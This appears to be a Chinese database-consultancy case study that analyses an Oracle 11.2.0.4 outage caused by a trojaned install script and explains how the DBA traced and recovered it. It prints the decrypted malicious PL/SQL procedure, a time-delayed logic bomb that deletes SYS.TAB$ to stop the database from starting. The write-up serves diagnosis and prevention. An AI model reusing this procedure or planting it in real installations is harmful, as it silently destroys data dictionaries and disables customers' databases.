案发现场:被注入的软件及 ORA-600 16703 灾难的恢复

简介: 客户在尝试启动数据库时,是这样一个 ORA-600 错误映入眼帘,反复重试无法消除问题,历史备份,同样存在问题,客户毫无防范的,陷入一场数据库灾难。

最近帮助一个客户恢复数据库,遇到了如下这个问题。让我们再一次惊醒于数据安全,如果不做好防范,问题总是会来得猝不及防。

image

客户在尝试启动数据库时,是这样一个 ORA-600 错误映入眼帘,反复重试无法消除问题,历史备份,同样存在问题,客户毫无防范的,陷入一场数据库灾难:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018
Copyright (c) 1982, 2013, Oracle.  All rights reserved.
Connected to an idle instance.

SQL> startup mount;
ORACLE instance started.
Database mounted.

SQL> alter database open;
alter database open
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 1236
Session ID: 1 Serial number: 5

按照我的思路,第一步是启用 10046 跟踪一下问题的出现位置:

image

从跟踪文件中,可以找到如下信息,最后执行的是 obj$ 的对象访问,绑定变量传入值是 20 ,

image

注意,最后出错前的递归查询,其 BINS # 605191324 事实上对应的就是 bootstrap$ 的 初始化过程:

PARSING IN CURSOR #605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1'
create table bootstrap$ (
END OF STMT
PARSE #605191324:c=0,e=372,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=77597979
EXEC #605191324:c=0,e=78,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=0,tim=77598086
CLOSE #605191324:c=0,e=4,dep=1,type=0,tim=77598125

在这个递归过程中,取得所有引导数据库启动所需SQL,然后再顺序加载内容,完成内存初始化。

最后出现错误之处是 20 号对象,在数据库中是 ICOL$ 对象:

SQL> select object_name from dba_objects where object_id=20;

OBJECT_NAME
--------------------------------------------------------------
ICOL$

在 bootstrap$ 中,可以找到这条记录,在初始化这个对象的过程中,数据库在 TAB$ 中找不到这条记录,就出现了 16703 的错误:

CREATE TABLE ICOL$("OBJ#" NUMBER NOT NULL,"BO#" NUMBER NOT NULL,"COL#" NUMBER NOT NULL,"POS#" NUMBER NOT NULL,"SEGCOL#" NUMBER NOT NULL,"SEGCOLLENGTH" NUMBER NOT NULL,"OFFSET" NUMBER NOT NULL,"INTCOL#" NUMBER NOT NULL,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE (  OBJNO 20 TABNO 4) CLUSTER C_OBJ#(BO#)

在进程的转储文件中,也可以看懂对于 TAB$ 的递归访问,绑定变量是 20 :

image

再来看看 ORA-600 错误,几个参数含义如下:1403 指记录未发现;20 指对象号:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []

$ oerr ora 1403
01403, 00000, "no data found"
// *Cause: No data was found from the objects.
// *Action: There was no data from the objects which may be due to end of fetch.

所以,现在问题很清楚了,是因为 20 号对象递归时找不到,这是被恶意删除了。

这就是此前曾经被披露的,数据库安装介质被注入的问题,惜分飞曾经记录过这个问题。

强烈警示:在下载Oracle安装介质时,一定要从可靠来源下载,Oracle 官网是最佳途径。当从未知来源获得安装软件时,你就可能面临着注入风险。这一次的客户就是遭遇到了这个问题的威胁。

推荐阅读:防范攻击 加强管控 - 数据库安全的16条军规
在这个案例中,被注入的文件是:
$ORACLE_HOME/rdbms/admin/prvtsupp.plb

这个程序包文件最后被注入了一个触发器,这个启动触发器,当数据库启动之后被触发执行:

image

这个触发器执行的是前面的加密代码,存储过程,这个存储过程解密后的代码如下,其代码逻辑就是,判断数据库的创建时间大于 300 天,然后创建一个备份表,备份 tab$ 内容之后,清空 TAB$ 表。
此后,数据库当然就无法启动了:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=300) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
END IF;
END;

所以我们再次提示大家:由于这个攻击,具有潜伏性,如果你是从网络下载了Oracle安装包,尤其是 11.2.0.4 版本,建议用户检查你的数据库,确保安全。

由于 Oracle 的 11.2.0.4 版本要从 MOS 上下载,需要具有Oracle的授权,所以很多非授权用户从其他来源下载,就面临了风险。

image


那么怎么解决这个问题呢?

其实也很简单,当删除了 TAB$ 表中的内容后,数据库是启动引导遇到故障,所以我们只要找到一个良好运行的同平台、同版本 SYSTEM 文件,将引导块全部复制回来,就可以启动数据库了,以下是我的恢复过程截取的一部分BLOCK:

image

而且,注意,这一次的黑客是很有分寸的,在删除之前备份了 TAB$ 的内容,所以只要启动数据库,从备份表中(ORACHK'||SUBSTR(SYS_GUID,10)||' )恢复 TAB$ 的内容,数据库就可以完美的修复回来。

这和 2016 年,比特币勒索事件不同,那个案例的代码是 Truncate 了用户数据表,处理起来难度更大,参考:知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

以下是整个恢复过程前台的最后两个阶段,当使用 bbed 复制修复后,启动数据库时,收到提示,要将数据库以 upgrade 模式启动,这是某个标志的影响:

SQL> startup
ORACLE instance started.

Total System Global Area  531476480 bytes
Fixed Size                  1406404 bytes
Variable Size             318769724 bytes
Database Buffers          205520896 bytes
Redo Buffers                5779456 bytes
Database mounted.
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-39700: database must be opened with UPGRADE option
Process ID: 1648
Session ID: 1 Serial number: 5

以 upgrade 模式启动,数据库成功完美打开:

SQL> startup upgrade;
ORACLE instance started.

Total System Global Area  531476480 bytes
Fixed Size                  1406404 bytes
Variable Size             318769724 bytes
Database Buffers          205520896 bytes
Redo Buffers                5779456 bytes
Database mounted.
Database opened.

SQL> select * from dual;

D
-
X

最后总结一下,这个案例给我们的警示:
遵守规则和规范很重要,保护知识产权,规范部署,天然可以防范很多问题;
深入学习、知识储备,是从容应对问题的根本之道,理解了原理,才能举重若轻,触类旁通;
只有按时备份还不够,定期验证检查非常重要;
随时关注数据库中的特殊对象和变更,是非常重要的;

原文发布时间为:2018-07-29
本文作者: 盖国强
本文来自云栖社区合作伙伴“数据和云”,了解相关信息可以关注“数据和云”。

相关文章
|
SQL 存储 关系型数据库
美团面试:事务提交了,数据丢失 了 ?大概的原因是什么?
美团面试:事务提交了,数据丢失 了 ?大概的原因是什么?
美团面试:事务提交了,数据丢失 了 ?大概的原因是什么?
|
Web App开发 监控 网络协议
网络分析与监控:阿里云拨测方案解密
阿里云网络拨测业务提供了全球、多种协议、多种网络态势的用户网络性能和用户体验监控场景的全面可观测方案。该文章从拨测场景下,介绍了用户如何快速的构建一套全球用户视角的服务可用性大盘,为客户的业务保驾护航。
1723 184
|
Linux 知识图谱
Centos7安装killall,fuser, killall,pstree和pstree.x11
通过上述步骤,您已在CentOS 7系统中成功部署了killall、fuser、pstree以及pstree.x11,为高效管理系统进程打下了坚实基础。更多关于服务器管理与优化的知识,获取全面技术支持与解决方案。
786 1
|
网络协议 API 数据安全/隐私保护
|
Oracle 网络协议 关系型数据库
Oracle DataGuard主备切换之自动切换
Oracle DataGuard主备切换之自动切换
893 2
|
机器学习/深度学习 算法 TensorFlow
【图像识别】谷物识别系统Python+人工智能深度学习+TensorFlow+卷积算法网络模型+图像识别
谷物识别系统,本系统使用Python作为主要编程语言,通过TensorFlow搭建ResNet50卷积神经算法网络模型,通过对11种谷物图片数据集('大米', '小米', '燕麦', '玉米渣', '红豆', '绿豆', '花生仁', '荞麦', '黄豆', '黑米', '黑豆')进行训练,得到一个进度较高的H5格式的模型文件。然后使用Django框架搭建了一个Web网页端可视化操作界面。实现用户上传一张图片识别其名称。
552 0
【图像识别】谷物识别系统Python+人工智能深度学习+TensorFlow+卷积算法网络模型+图像识别
|
安全 Oracle 关系型数据库
看完这篇 教你玩转渗透测试靶机vulnhub——FunBox2(ROOKIE)
看完这篇 教你玩转渗透测试靶机vulnhub——FunBox2(ROOKIE)
511 1
看完这篇 教你玩转渗透测试靶机vulnhub——FunBox2(ROOKIE)
|
Linux
linux服务器硬件序列号获取命令
linux服务器硬件序列号命令获取,英伟达显卡序列号获取
1415 0

热门文章

最新文章